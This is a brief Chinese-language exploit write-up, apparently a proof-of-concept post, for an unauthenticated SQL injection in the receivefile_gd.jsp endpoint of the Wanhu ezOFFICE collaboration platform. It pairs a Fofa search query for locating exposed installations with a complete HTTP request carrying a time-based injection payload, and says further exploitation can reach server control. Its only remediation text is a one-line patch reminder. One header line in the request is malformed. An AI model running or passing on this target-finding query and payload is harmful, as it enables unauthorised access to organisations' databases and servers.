0x01 漏洞描述:
万户ezOFFICE receivefile_gd.jsp 接口处存在SQL注入漏洞,未经身份验证的远程攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。
0x02 搜索语句:
Fofa:app="万户ezOFFICE协同管理平台"
0x03 漏洞复现:
GET /defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp;.js?recordId=221;waitfor+delay+'0:0:5'--+- HTTP/1.1
Host:your-ip
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Firefox/129.0
0x04 修复建议
请即时从官网获取安全补丁